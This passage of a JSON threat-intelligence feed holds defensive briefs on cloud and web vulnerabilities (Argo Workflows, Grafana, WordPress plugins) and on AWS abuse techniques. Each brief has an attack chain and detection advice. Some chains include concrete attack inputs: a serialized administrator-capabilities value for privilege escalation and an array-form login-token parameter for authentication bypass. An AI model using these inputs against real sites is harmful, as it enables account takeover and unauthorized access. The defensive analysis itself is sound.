{"description":"Trending threats, MITRE ATT\u0026CK coverage, and detection metadata — refreshed continuously.","feed_url":"https://feed.craftedsignal.io/tags/cloud/","home_page_url":"https://feed.craftedsignal.io/","items":[{"_cs_actors":[],"_cs_cves":[],"_cs_exploited":false,"_cs_products":["Argo Workflows \u003c 3.7.14","Argo Workflows \u003e= 4.0.0","Argo Workflows \u003c 4.0.5"],"_cs_severities":["medium"],"_cs_tags":["denial-of-service","argo-workflows","cloud"],"_cs_type":"advisory","_cs_vendors":["Argoproj"],"content_html":"\u003cp\u003eArgo Workflows is vulnerable to a denial-of-service (DoS) attack (CVE-2026-42294) due to unbounded memory allocation in the Webhook Interceptor. The vulnerability resides in the \u003ccode\u003eserver/auth/webhook/interceptor.go\u003c/code\u003e component, specifically within the \u003ccode\u003e/api/v1/events/\u003c/code\u003e endpoint. This endpoint, intended for webhook integrations, reads the entire request body into memory without proper size limits, leading to potential memory exhaustion. An attacker can exploit this vulnerability by sending a crafted request with an extremely large body, causing the Argo Server to allocate excessive memory and potentially crash, resulting in a denial of service. Affected versions include Argo Workflows versions prior to 3.7.14 and versions 4.0.0 up to 4.0.5.\u003c/p\u003e\n\u003ch2 id=\"attack-chain\"\u003eAttack Chain\u003c/h2\u003e\n\u003col\u003e\n\u003cli\u003eThe attacker identifies an Argo Workflows instance with a publicly accessible \u003ccode\u003e/api/v1/events/\u003c/code\u003e endpoint.\u003c/li\u003e\n\u003cli\u003eThe attacker crafts an HTTP POST request targeting the \u003ccode\u003e/api/v1/events/\u003c/code\u003e endpoint.\u003c/li\u003e\n\u003cli\u003eThe attacker sets the \u003ccode\u003eContent-Length\u003c/code\u003e header of the request to a very large value (e.g., 1GB or more).\u003c/li\u003e\n\u003cli\u003eThe attacker sends the malicious request with a large amount of arbitrary data as the request body.\u003c/li\u003e\n\u003cli\u003eThe Argo Server receives the request and, within the \u003ccode\u003eWebhookInterceptor\u003c/code\u003e, calls \u003ccode\u003eio.ReadAll(r.Body)\u003c/code\u003e, allocating memory to store the entire request body.\u003c/li\u003e\n\u003cli\u003eDue to the large request body, the Argo Server\u0026rsquo;s memory consumption increases significantly.\u003c/li\u003e\n\u003cli\u003eIf the attacker sends a sufficiently large request, the Argo Server exhausts its available memory.\u003c/li\u003e\n\u003cli\u003eThe Argo Server process crashes due to an Out-Of-Memory (OOM) error, leading to a denial of service.\u003c/li\u003e\n\u003c/ol\u003e\n\u003ch2 id=\"impact\"\u003eImpact\u003c/h2\u003e\n\u003cp\u003eSuccessful exploitation of this vulnerability results in a denial-of-service condition, disrupting workflow execution and API access for all users of the Argo Workflows instance. The Argo Server crashes, making it unavailable until restarted. This impacts service availability and potentially causes data loss if workflows are interrupted during execution. The number of victims depends on the number of Argo Workflows instances exposed and targeted by attackers.\u003c/p\u003e\n\u003ch2 id=\"recommendation\"\u003eRecommendation\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eEnforce a strict limit on webhook body size (e.g., 10MB) using \u003ccode\u003ehttp.MaxBytesReader\u003c/code\u003e or similar mechanisms within your ingress controller or reverse proxy to prevent oversized requests from reaching the Argo Server.\u003c/li\u003e\n\u003cli\u003eUpgrade Argo Workflows to version 3.7.14 or 4.0.5 or later to patch CVE-2026-42294 and mitigate the risk of denial-of-service attacks.\u003c/li\u003e\n\u003cli\u003eMonitor memory usage of the Argo Server process and set up alerts for unusually high memory consumption to detect potential exploitation attempts.\u003c/li\u003e\n\u003c/ul\u003e\n","date_modified":"2026-05-04T20:11:01Z","date_published":"2026-05-04T20:11:01Z","id":"/briefs/2026-05-argo-dos/","summary":"Argo Workflows is vulnerable to a denial-of-service (DoS) attack due to unbounded memory allocation in the Webhook Interceptor component.","title":"Argo Workflows Webhook Interceptor Vulnerable to Unauthenticated Memory Exhaustion (CVE-2026-42294)","url":"https://feed.craftedsignal.io/briefs/2026-05-argo-dos/"},{"_cs_actors":[],"_cs_cves":[],"_cs_exploited":false,"_cs_products":["Grafana"],"_cs_severities":["medium"],"_cs_tags":["grafana","xss","information-disclosure","cloud"],"_cs_type":"advisory","_cs_vendors":["Grafana"],"content_html":"\u003cp\u003eGrafana is susceptible to multiple vulnerabilities that could allow unauthorized access and data compromise. A remote, anonymous attacker can exploit these weaknesses to perform Cross-Site Scripting (XSS) attacks or disclose sensitive information. This poses a risk to the confidentiality and integrity of Grafana instances and the data they manage. Defenders need to implement detection and mitigation measures to prevent potential exploitation. The specific Grafana versions affected are not specified in the advisory.\u003c/p\u003e\n\u003ch2 id=\"attack-chain\"\u003eAttack Chain\u003c/h2\u003e\n\u003cp\u003eSince the specific attack chain is not detailed in the source, a generic attack chain is provided based on common web application vulnerabilities:\u003c/p\u003e\n\u003col\u003e\n\u003cli\u003eThe attacker identifies a vulnerable Grafana instance accessible over the internet.\u003c/li\u003e\n\u003cli\u003eThe attacker crafts a malicious HTTP request targeting a vulnerable endpoint in Grafana.\u003c/li\u003e\n\u003cli\u003eThis request exploits a Cross-Site Scripting (XSS) vulnerability, injecting malicious JavaScript code.\u003c/li\u003e\n\u003cli\u003eAlternatively, the request exploits an information disclosure vulnerability to access sensitive data.\u003c/li\u003e\n\u003cli\u003eIf XSS is successful, a user interacting with Grafana executes the injected JavaScript.\u003c/li\u003e\n\u003cli\u003eThe malicious script can steal user credentials, session tokens, or other sensitive data.\u003c/li\u003e\n\u003cli\u003eThe attacker uses the stolen credentials to gain unauthorized access to Grafana.\u003c/li\u003e\n\u003cli\u003eThe attacker exfiltrates sensitive information or performs other malicious actions within the Grafana instance.\u003c/li\u003e\n\u003c/ol\u003e\n\u003ch2 id=\"impact\"\u003eImpact\u003c/h2\u003e\n\u003cp\u003eSuccessful exploitation of these vulnerabilities can lead to the compromise of sensitive information, including user credentials, API keys, and internal system details. An attacker could leverage XSS to manipulate Grafana dashboards, inject malicious content, or redirect users to phishing sites. Information disclosure could expose sensitive configuration data or metrics, potentially leading to further attacks. The number of affected Grafana instances is currently unknown, but any publicly accessible instance is potentially at risk.\u003c/p\u003e\n\u003ch2 id=\"recommendation\"\u003eRecommendation\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eDeploy the Sigma rule \u003ccode\u003eGrafana Suspicious URI Activity\u003c/code\u003e to detect potential exploitation attempts targeting Grafana instances via unusual URL patterns (log source: webserver).\u003c/li\u003e\n\u003cli\u003eEnable and review webserver logs for Grafana instances to identify suspicious activity, specifically cs-uri-query and cs-uri-stem (log source: webserver).\u003c/li\u003e\n\u003cli\u003eImplement a web application firewall (WAF) to filter out malicious requests and protect against common web application attacks, including XSS (log source: firewall).\u003c/li\u003e\n\u003cli\u003eUpgrade Grafana to the latest version as soon as security patches are available to address the identified vulnerabilities (affected_products: Grafana).\u003c/li\u003e\n\u003c/ul\u003e\n","date_modified":"2026-05-04T09:54:33Z","date_published":"2026-05-04T09:54:33Z","id":"/briefs/2026-05-grafana-vulns/","summary":"Multiple vulnerabilities in Grafana allow a remote, anonymous attacker to conduct a Cross-Site Scripting attack or disclose information.","title":"Grafana Multiple Vulnerabilities Leading to XSS and Information Disclosure","url":"https://feed.craftedsignal.io/briefs/2026-05-grafana-vulns/"},{"_cs_actors":[],"_cs_cves":[{"cvss":8.8,"id":"CVE-2026-7641"}],"_cs_exploited":false,"_cs_products":["Import and export users and customers plugin"],"_cs_severities":["high"],"_cs_tags":["privilege-escalation","wordpress","cloud"],"_cs_type":"advisory","_cs_vendors":["WordPress"],"content_html":"\u003cp\u003eThe Import and export users and customers plugin for WordPress, a plugin used to manage user data, is vulnerable to privilege escalation. This vulnerability, identified as CVE-2026-7641, affects all versions of the plugin up to and including 2.0.8. The vulnerability stems from an incomplete blocklist in the \u003ccode\u003esave_extra_user_profile_fields()\u003c/code\u003e function. This function fails to adequately filter meta keys for subsites within a WordPress Multisite network, allowing attackers to manipulate user roles. Successful exploitation allows authenticated attackers with Subscriber-level access or higher to escalate their privileges to Administrator on any subsite within the Multisite network. Exploitation requires the targeted WordPress instance to be part of a Multisite network and have specific settings enabled.\u003c/p\u003e\n\u003ch2 id=\"attack-chain\"\u003eAttack Chain\u003c/h2\u003e\n\u003col\u003e\n\u003cli\u003eAn administrator imports a CSV file containing multisite-prefixed capability column headers (e.g., \u003ccode\u003ewp_2_capabilities\u003c/code\u003e) using the affected plugin.\u003c/li\u003e\n\u003cli\u003eThe administrator enables the \u0026ldquo;Show fields in profile?\u0026rdquo; option within the plugin settings. This action stores the imported column headers (including the multisite capabilities) in the \u003ccode\u003eacui_columns\u003c/code\u003e option.\u003c/li\u003e\n\u003cli\u003eA low-privileged user (e.g., Subscriber) authenticates to the WordPress subsite.\u003c/li\u003e\n\u003cli\u003eThe attacker navigates to their user profile page (\u003ccode\u003e/wp-admin/profile.php\u003c/code\u003e). The plugin displays the previously imported multisite capability fields as editable options on the profile page.\u003c/li\u003e\n\u003cli\u003eThe attacker crafts a profile update request, setting the value of the \u003ccode\u003ewp_{subsite_id}_capabilities\u003c/code\u003e meta key to \u003ccode\u003ea:1:{s:13:\u0026quot;administrator\u0026quot;;b:1;}\u003c/code\u003e which grants administrator privileges.\u003c/li\u003e\n\u003cli\u003eThe attacker submits the crafted profile update to \u003ccode\u003e/wp-admin/profile.php\u003c/code\u003e.\u003c/li\u003e\n\u003cli\u003eThe \u003ccode\u003esave_extra_user_profile_fields()\u003c/code\u003e function processes the update. Due to the incomplete blocklist, the function fails to prevent the modification of the \u003ccode\u003ewp_{subsite_id}_capabilities\u003c/code\u003e meta key.\u003c/li\u003e\n\u003cli\u003eThe \u003ccode\u003eupdate_user_meta()\u003c/code\u003e function writes the attacker-controlled value directly to the user\u0026rsquo;s metadata, granting them Administrator privileges on the specified subsite.\u003c/li\u003e\n\u003c/ol\u003e\n\u003ch2 id=\"impact\"\u003eImpact\u003c/h2\u003e\n\u003cp\u003eSuccessful exploitation of CVE-2026-7641 allows an attacker to gain complete control over a WordPress subsite within a Multisite network. This can lead to unauthorized access to sensitive data, modification of website content, installation of malicious plugins or themes, and potential compromise of the entire Multisite network. Given the widespread use of WordPress and the Import and export users and customers plugin, a successful attack can have significant repercussions for affected organizations.\u003c/p\u003e\n\u003ch2 id=\"recommendation\"\u003eRecommendation\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eUpgrade the Import and export users and customers plugin to the latest version to patch CVE-2026-7641.\u003c/li\u003e\n\u003cli\u003eApply the Sigma rule \u003ccode\u003eWordPress Multisite Privilege Escalation via Profile Update\u003c/code\u003e to detect exploitation attempts against \u003ccode\u003e/wp-admin/profile.php\u003c/code\u003e.\u003c/li\u003e\n\u003cli\u003eReview the \u003ccode\u003eacui_columns\u003c/code\u003e option in the WordPress database to identify any instances where multisite-prefixed capability column headers have been imported, and remove those fields.\u003c/li\u003e\n\u003cli\u003eMonitor WordPress user profile updates for unusual modifications to user capabilities using the \u003ccode\u003eWordPress User Role Change Detection\u003c/code\u003e rule.\u003c/li\u003e\n\u003c/ul\u003e\n","date_modified":"2026-05-02T05:16:01Z","date_published":"2026-05-02T05:16:01Z","id":"/briefs/2026-05-wordpress-privesc/","summary":"A privilege escalation vulnerability exists in the Import and export users and customers plugin for WordPress (versions \u003c= 2.0.8) due to an incomplete blocklist allowing authenticated users to gain administrator privileges on subsites within a Multisite network.","title":"WordPress Import and Export Users Plugin Privilege Escalation Vulnerability","url":"https://feed.craftedsignal.io/briefs/2026-05-wordpress-privesc/"},{"_cs_actors":[],"_cs_cves":[],"_cs_exploited":false,"_cs_products":["AWS Systems Manager Session Manager"],"_cs_severities":["medium"],"_cs_tags":["aws","ssm","session-manager","execution","cloud"],"_cs_type":"advisory","_cs_vendors":["Amazon"],"content_html":"\u003cp\u003eAWS Systems Manager (SSM) Session Manager provides interactive shell access to EC2 instances and hybrid nodes without the need for bastion hosts or open inbound ports. Attackers can abuse this functionality by leveraging compromised AWS credentials or IAM roles with \u003ccode\u003essm:StartSession\u003c/code\u003e permissions to gain unauthorized access to target systems. This allows for remote execution of commands and lateral movement within the AWS environment. The technique involves spawning child processes from the SSM session worker process to perform malicious activities. Defenders should monitor for unusual process execution patterns originating from SSM sessions to identify potential abuse.\u003c/p\u003e\n\u003ch2 id=\"attack-chain\"\u003eAttack Chain\u003c/h2\u003e\n\u003col\u003e\n\u003cli\u003eAttacker gains access to valid AWS credentials or IAM role with \u003ccode\u003essm:StartSession\u003c/code\u003e permissions.\u003c/li\u003e\n\u003cli\u003eAttacker initiates an SSM session to a target EC2 instance or hybrid node using the compromised credentials.\u003c/li\u003e\n\u003cli\u003eThe \u003ccode\u003essm-session-worker\u003c/code\u003e process is started on the target instance to manage the interactive session.\u003c/li\u003e\n\u003cli\u003eAttacker executes commands within the session, spawning child processes from the \u003ccode\u003essm-session-worker\u003c/code\u003e process.\u003c/li\u003e\n\u003cli\u003eAttacker may use scripting languages such as PowerShell or Bash to execute malicious code (e.g., using \u003ccode\u003eawsrunPowerShellScript\u003c/code\u003e or \u003ccode\u003eawsrunShellScript\u003c/code\u003e).\u003c/li\u003e\n\u003cli\u003eThese scripts perform reconnaissance, download additional tools, or attempt credential access.\u003c/li\u003e\n\u003cli\u003eAttacker moves laterally to other instances or resources within the AWS environment.\u003c/li\u003e\n\u003cli\u003eThe ultimate objective is often data exfiltration, privilege escalation, or maintaining persistent access.\u003c/li\u003e\n\u003c/ol\u003e\n\u003ch2 id=\"impact\"\u003eImpact\u003c/h2\u003e\n\u003cp\u003eSuccessful exploitation can lead to unauthorized access to sensitive data, compromise of critical systems, and lateral movement within the AWS environment. The impact can range from data breaches to complete control of the compromised infrastructure. The number of affected systems depends on the scope of the compromised credentials and the attacker\u0026rsquo;s ability to move laterally. Organizations using AWS SSM are at risk.\u003c/p\u003e\n\u003ch2 id=\"recommendation\"\u003eRecommendation\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eDeploy the Sigma rules in this brief to your SIEM and tune for your environment to detect suspicious child processes spawned by \u003ccode\u003essm-session-worker\u003c/code\u003e.\u003c/li\u003e\n\u003cli\u003eCorrelate process activity with AWS CloudTrail logs for \u003ccode\u003eStartSession\u003c/code\u003e and related API calls to identify the IAM principal initiating the session (see the overview section for API names).\u003c/li\u003e\n\u003cli\u003eImplement strict IAM policies and regularly review AWS credentials to minimize the risk of credential compromise.\u003c/li\u003e\n\u003cli\u003eMonitor \u003ccode\u003eprocess.command_line\u003c/code\u003e, \u003ccode\u003eprocess.executable\u003c/code\u003e, \u003ccode\u003eprocess.user.name\u003c/code\u003e for unusual activity within SSM sessions.\u003c/li\u003e\n\u003c/ul\u003e\n","date_modified":"2026-05-01T20:57:28Z","date_published":"2026-05-01T20:57:28Z","id":"/briefs/2024-01-aws-ssm-session-manager-abuse/","summary":"Adversaries abuse AWS Systems Manager (SSM) Session Manager to gain remote execution and lateral movement within AWS environments by spawning malicious child processes from the SSM session worker, leveraging legitimate AWS credentials and IAM permissions.","title":"AWS SSM Session Manager Child Process Execution Abuse","url":"https://feed.craftedsignal.io/briefs/2024-01-aws-ssm-session-manager-abuse/"},{"_cs_actors":[],"_cs_cves":[],"_cs_exploited":false,"_cs_products":["Amazon Web Services"],"_cs_severities":["medium"],"_cs_tags":["cloud","aws","getcalleridentity","ec2","discovery"],"_cs_type":"advisory","_cs_vendors":["Amazon","Google","MongoDB, Inc."],"content_html":"\u003cp\u003eThis detection identifies when an EC2 instance role session calls the AWS STS GetCallerIdentity API from a source Autonomous System (AS) Organization name that has not been previously observed. The GetCallerIdentity API is often used by adversaries to validate stolen instance role credentials from infrastructure outside the victim\u0026rsquo;s normal egress points. By baselining the combination of identity and source network, the rule reduces noise associated with stable NAT or AWS-classified egress, focusing on truly novel access patterns. This detection is specifically designed to complement other rules that may detect general GetCallerIdentity calls, by excluding previously seen combinations of user identity and source AS organization.\u003c/p\u003e\n\u003ch2 id=\"attack-chain\"\u003eAttack Chain\u003c/h2\u003e\n\u003col\u003e\n\u003cli\u003eAn attacker gains unauthorized access to an EC2 instance through methods like exploiting a Server-Side Request Forgery (SSRF) vulnerability, compromising application code or exploiting IMDS abuse.\u003c/li\u003e\n\u003cli\u003eThe attacker leverages the instance\u0026rsquo;s IAM role to obtain temporary AWS credentials.\u003c/li\u003e\n\u003cli\u003eThe attacker attempts to validate the stolen credentials using the \u003ccode\u003eGetCallerIdentity\u003c/code\u003e API call.\u003c/li\u003e\n\u003cli\u003eThe \u003ccode\u003eGetCallerIdentity\u003c/code\u003e API call originates from an IP address associated with a new and unexpected Autonomous System Organization (ASO).\u003c/li\u003e\n\u003cli\u003eThe AWS CloudTrail logs record the \u003ccode\u003eGetCallerIdentity\u003c/code\u003e event, including the user identity ARN and the source AS organization name.\u003c/li\u003e\n\u003cli\u003eThe detection rule triggers due to the new combination of user identity and source AS organization.\u003c/li\u003e\n\u003cli\u003eThe attacker uses the validated credentials to perform reconnaissance and identify valuable resources within the AWS environment (e.g., S3 buckets, databases).\u003c/li\u003e\n\u003cli\u003eThe attacker attempts to exfiltrate sensitive data or deploy malicious workloads using the stolen credentials.\u003c/li\u003e\n\u003c/ol\u003e\n\u003ch2 id=\"impact\"\u003eImpact\u003c/h2\u003e\n\u003cp\u003eA successful attack can lead to unauthorized access to sensitive data stored within the AWS environment. The attacker may be able to escalate privileges, compromise other resources, and disrupt services. The potential impact includes data breaches, financial loss, and reputational damage. The lack of specific victim counts or sectors targeted suggests a broad applicability across various AWS users.\u003c/p\u003e\n\u003ch2 id=\"recommendation\"\u003eRecommendation\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eDeploy the Sigma rule \u0026ldquo;AWS EC2 Role GetCallerIdentity from New Source AS Organization\u0026rdquo; to your SIEM to detect suspicious activity.\u003c/li\u003e\n\u003cli\u003eInvestigate alerts triggered by the Sigma rule, focusing on the \u003ccode\u003eaws.cloudtrail.user_identity.arn\u003c/code\u003e and \u003ccode\u003esource.as.organization.name\u003c/code\u003e fields.\u003c/li\u003e\n\u003cli\u003eMonitor AWS CloudTrail logs for \u003ccode\u003eGetCallerIdentity\u003c/code\u003e API calls, particularly those originating from unfamiliar source IP addresses and ASNs.\u003c/li\u003e\n\u003cli\u003eRevoke compromised IAM role sessions by stopping the affected EC2 instances or removing the role from the instance profile.\u003c/li\u003e\n\u003cli\u003eRotate any long-lived secrets accessible by the EC2 instance, based on the \u003ccode\u003eaws.cloudtrail.user_identity.access_key_id\u003c/code\u003e.\u003c/li\u003e\n\u003c/ul\u003e\n","date_modified":"2026-05-01T20:57:28Z","date_published":"2026-05-01T20:57:28Z","id":"/briefs/2024-01-02-aws-ec2-role-getcalleridentity/","summary":"The rule detects when an EC2 instance role session calls AWS STS GetCallerIdentity from a new source autonomous system (AS) organization name, indicating potential credential theft and verification from outside expected egress paths.","title":"AWS EC2 Role GetCallerIdentity from New Source AS Organization","url":"https://feed.craftedsignal.io/briefs/2024-01-02-aws-ec2-role-getcalleridentity/"},{"_cs_actors":[],"_cs_cves":[],"_cs_exploited":false,"_cs_products":["Amazon Web Services"],"_cs_severities":["medium"],"_cs_tags":["cloud","aws","discovery","vpn"],"_cs_type":"advisory","_cs_vendors":["Amazon"],"content_html":"\u003cp\u003eThis detection identifies the first-time occurrence of an IAM principal invoking discovery APIs from a source IP address associated with a known VPN autonomous system number (ASN). The rule focuses on high-signal discovery actions, such as credential checks, account enumeration, bucket inventory, compute inventory, and logging introspection within AWS CloudTrail logs. The goal is to detect potential reconnaissance activities originating from anonymizing networks, which may indicate malicious intent. The rule specifically omits broad \u003ccode\u003eList*\u003c/code\u003e and \u003ccode\u003eDescribe*\u003c/code\u003e patterns to reduce false positives, focusing instead on a curated list of ASNs commonly associated with VPN providers and hosting services. It\u0026rsquo;s important to validate ASN data using local intelligence and tailor the \u003ccode\u003eevent.action\u003c/code\u003e list based on your environment\u0026rsquo;s baseline. Hosting ASNs are dual-use and require careful monitoring.\u003c/p\u003e\n\u003ch2 id=\"attack-chain\"\u003eAttack Chain\u003c/h2\u003e\n\u003col\u003e\n\u003cli\u003eAn attacker gains unauthorized access to AWS credentials, possibly through compromised credentials or misconfigured IAM roles.\u003c/li\u003e\n\u003cli\u003eThe attacker initiates a VPN connection to mask their origin and evade geographic restrictions or monitoring. The VPN endpoint\u0026rsquo;s ASN belongs to a known VPN provider.\u003c/li\u003e\n\u003cli\u003eUsing the compromised credentials and VPN connection, the attacker calls the AWS API to execute \u003ccode\u003eGetCallerIdentity\u003c/code\u003e to validate access.\u003c/li\u003e\n\u003cli\u003eThe attacker enumerates IAM users and roles using \u003ccode\u003eListUsers\u003c/code\u003e and \u003ccode\u003eListRoles\u003c/code\u003e to map out the AWS environment\u0026rsquo;s identity landscape.\u003c/li\u003e\n\u003cli\u003eThe attacker inventories S3 buckets using \u003ccode\u003eListBuckets\u003c/code\u003e to identify potential targets for data exfiltration or manipulation.\u003c/li\u003e\n\u003cli\u003eThe attacker gathers information about EC2 instances, VPCs, and security groups using \u003ccode\u003eDescribeInstances\u003c/code\u003e, \u003ccode\u003eDescribeVpcs\u003c/code\u003e, and \u003ccode\u003eDescribeSecurityGroups\u003c/code\u003e to understand the network infrastructure.\u003c/li\u003e\n\u003cli\u003eThe attacker lists available Lambda functions using \u003ccode\u003eListFunctions\u003c/code\u003e to discover potential code execution opportunities.\u003c/li\u003e\n\u003cli\u003eThe attacker collects logging configurations by calling \u003ccode\u003eDescribeTrails\u003c/code\u003e to identify logging gaps.\u003c/li\u003e\n\u003c/ol\u003e\n\u003ch2 id=\"impact\"\u003eImpact\u003c/h2\u003e\n\u003cp\u003eA successful attack leveraging these discovery techniques can lead to unauthorized access to sensitive data, privilege escalation, and lateral movement within the AWS environment. By mapping out the cloud infrastructure, attackers can identify vulnerabilities and misconfigurations to exploit. Compromised AWS environments can result in data breaches, service disruptions, and financial losses.\u003c/p\u003e\n\u003ch2 id=\"recommendation\"\u003eRecommendation\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eDeploy the Sigma rule \u003ccode\u003eAWS Discovery API Calls from VPN ASN by New Identity\u003c/code\u003e to detect anomalous discovery activity originating from VPN ASNs.\u003c/li\u003e\n\u003cli\u003eReview the curated list of VPN-oriented ASNs within the rule query and update it with local intelligence from sources like RIPE, BGPView, or PeeringDB.\u003c/li\u003e\n\u003cli\u003eEnable AWS CloudTrail logs to capture the necessary event data for the Sigma rule to function effectively.\u003c/li\u003e\n\u003cli\u003eTune the Sigma rule\u0026rsquo;s \u003ccode\u003eevent.action\u003c/code\u003e filter to include additional discovery-related API calls relevant to your environment, based on baseline analysis.\u003c/li\u003e\n\u003cli\u003eInvestigate alerts generated by the Sigma rule by examining \u003ccode\u003eaws.cloudtrail.user_identity.arn\u003c/code\u003e, \u003ccode\u003eevent.action\u003c/code\u003e, \u003ccode\u003eevent.provider\u003c/code\u003e, \u003ccode\u003esource.ip\u003c/code\u003e, and \u003ccode\u003esource.as.organization.name\u003c/code\u003e.\u003c/li\u003e\n\u003cli\u003eImplement automated response actions, such as revoking sessions or rotating keys, when unexpected discovery activity is detected from VPN ASNs.\u003c/li\u003e\n\u003c/ul\u003e\n","date_modified":"2026-05-01T20:57:28Z","date_published":"2026-05-01T20:57:28Z","id":"/briefs/2024-01-aws-vpn-discovery/","summary":"This rule detects the initial use of AWS discovery APIs from VPN-associated ASNs by a previously unseen identity, indicating potential reconnaissance activity.","title":"AWS Discovery API Calls from VPN ASN by New Identity","url":"https://feed.craftedsignal.io/briefs/2024-01-aws-vpn-discovery/"},{"_cs_actors":[],"_cs_cves":[],"_cs_exploited":false,"_cs_products":[],"_cs_severities":["low"],"_cs_tags":["cloud","aws","cloudtrail","discovery"],"_cs_type":"advisory","_cs_vendors":["AWS"],"content_html":"\u003cp\u003eThis detection rule identifies suspicious AWS reconnaissance activity originating from the AWS CLI. It triggers when a single AWS identity (IAM user, role, or service principal) makes more than five unique discovery-related API calls (such as \u003ccode\u003eDescribe*\u003c/code\u003e, \u003ccode\u003eList*\u003c/code\u003e, \u003ccode\u003eGet*\u003c/code\u003e, or \u003ccode\u003eGenerate*\u003c/code\u003e) within a 10-second window. The rule is designed to detect adversaries attempting to map out an AWS environment after gaining unauthorized access through compromised credentials or a compromised EC2 instance. The tool focuses on API calls related to key AWS services like EC2, IAM, S3, and KMS. This rule helps defenders identify and respond to early-stage reconnaissance activity, preventing further exploitation or data exfiltration. The rule excludes activity from AWS service accounts and the AWS Management Console, and it requires a minimum stack version of 9.2.0 with AWS integration version 4.6.0.\u003c/p\u003e\n\u003ch2 id=\"attack-chain\"\u003eAttack Chain\u003c/h2\u003e\n\u003col\u003e\n\u003cli\u003e\u003cstrong\u003eInitial Access:\u003c/strong\u003e An attacker gains access to an AWS environment, potentially through compromised credentials or by compromising an EC2 instance.\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eCredential Usage:\u003c/strong\u003e The attacker leverages the AWS CLI to interact with the AWS environment using the compromised credentials.\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eReconnaissance:\u003c/strong\u003e The attacker initiates a series of discovery API calls to gather information about the AWS infrastructure. This includes using \u003ccode\u003eDescribe*\u003c/code\u003e, \u003ccode\u003eList*\u003c/code\u003e, \u003ccode\u003eGet*\u003c/code\u003e, and \u003ccode\u003eGenerate*\u003c/code\u003e commands.\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eResource Enumeration:\u003c/strong\u003e The attacker enumerates various AWS resources, including EC2 instances, IAM roles, S3 buckets, and KMS keys, by querying their respective APIs.\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eTarget Identification:\u003c/strong\u003e The attacker analyzes the gathered information to identify potential targets for further exploitation, such as vulnerable EC2 instances or misconfigured S3 buckets.\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003ePrivilege Escalation (Optional):\u003c/strong\u003e If the compromised credentials have limited permissions, the attacker might attempt to escalate privileges to gain broader access to the AWS environment.\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eLateral Movement (Optional):\u003c/strong\u003e The attacker might attempt to move laterally to other AWS accounts or services to expand their reach and impact.\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eData Exfiltration/Impact:\u003c/strong\u003e Based on the attacker\u0026rsquo;s goals, they may attempt to exfiltrate sensitive data or cause disruption by modifying or deleting resources.\u003c/li\u003e\n\u003c/ol\u003e\n\u003ch2 id=\"impact\"\u003eImpact\u003c/h2\u003e\n\u003cp\u003eSuccessful exploitation could lead to unauthorized access to sensitive data, such as customer information, intellectual property, or financial records. The attacker could also disrupt business operations by modifying or deleting critical resources. Identifying and responding to such activity in a timely manner can help prevent significant damage and maintain the security and integrity of the AWS environment.\u003c/p\u003e\n\u003ch2 id=\"recommendation\"\u003eRecommendation\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eDeploy the following Sigma rule to your SIEM and tune for your environment to detect the described reconnaissance activity.\u003c/li\u003e\n\u003cli\u003eEnable AWS CloudTrail logging for all AWS regions and accounts in your organization to ensure the required logs are available for detection.\u003c/li\u003e\n\u003cli\u003eInvestigate any alerts generated by the Sigma rule, focusing on identifying the affected AWS identity, the source IP address, and the specific API calls made (as captured by the Sigma rule).\u003c/li\u003e\n\u003cli\u003eIf suspicious activity is confirmed, follow AWS\u0026rsquo;s incident-handling guidance, including disabling or rotating the access key used and restricting outbound connectivity from the source (reference the AWS Security Incident Response Guide).\u003c/li\u003e\n\u003c/ul\u003e\n","date_modified":"2026-05-01T19:43:38Z","date_published":"2026-05-01T19:43:38Z","id":"/briefs/2024-11-aws-discovery-api-calls/","summary":"This rule detects when a single AWS identity executes more than five unique discovery-related API calls (Describe*, List*, Get*, or Generate*) within a 10-second window using the AWS CLI, potentially indicating reconnaissance activity following credential compromise or compromised EC2 instance access.","title":"AWS Discovery API Calls via CLI from a Single Resource","url":"https://feed.craftedsignal.io/briefs/2024-11-aws-discovery-api-calls/"},{"_cs_actors":[],"_cs_cves":[{"cvss":9.8,"id":"CVE-2026-7567"}],"_cs_exploited":false,"_cs_products":["Temporary Login plugin"],"_cs_severities":["critical"],"_cs_tags":["authentication bypass","wordpress","plugin vulnerability","cve-2026-7567","cloud"],"_cs_type":"advisory","_cs_vendors":["WordPress"],"content_html":"\u003cp\u003eCVE-2026-7567 is an authentication bypass vulnerability that affects the Temporary Login plugin for WordPress, specifically versions up to and including 1.0.0. The vulnerability stems from a failure to properly validate the \u0026rsquo;temp-login-token\u0026rsquo; GET parameter within the \u003ccode\u003emaybe_login_temporary_user()\u003c/code\u003e function. By supplying an array as the value for this parameter, attackers can circumvent the intended \u003ccode\u003eempty()\u003c/code\u003e check. This leads to the \u003ccode\u003esanitize_key()\u003c/code\u003e function returning an empty string, which is then used in a database query to fetch users. WordPress ignores empty \u003ccode\u003emeta_value\u003c/code\u003e parameters, causing the query to return all users with the \u003ccode\u003e_temporary_login_token\u003c/code\u003e meta key. Consequently, an unauthenticated attacker can effectively authenticate as any user with an active temporary login session by sending a single, maliciously crafted GET request. This poses a severe risk to website security, as it allows unauthorized access to user accounts and potentially sensitive data.\u003c/p\u003e\n\u003ch2 id=\"attack-chain\"\u003eAttack Chain\u003c/h2\u003e\n\u003col\u003e\n\u003cli\u003eAn unauthenticated attacker identifies a WordPress site using the vulnerable Temporary Login plugin (version \u0026lt;= 1.0.0).\u003c/li\u003e\n\u003cli\u003eThe attacker crafts a malicious GET request targeting the WordPress site\u0026rsquo;s login endpoint, including the \u0026rsquo;temp-login-token\u0026rsquo; parameter as an array (e.g., \u003ccode\u003etemp-login-token[]=\u003c/code\u003e).\u003c/li\u003e\n\u003cli\u003eThe web server receives the GET request.\u003c/li\u003e\n\u003cli\u003eThe \u003ccode\u003emaybe_login_temporary_user()\u003c/code\u003e function processes the request.\u003c/li\u003e\n\u003cli\u003eDue to improper input validation, the 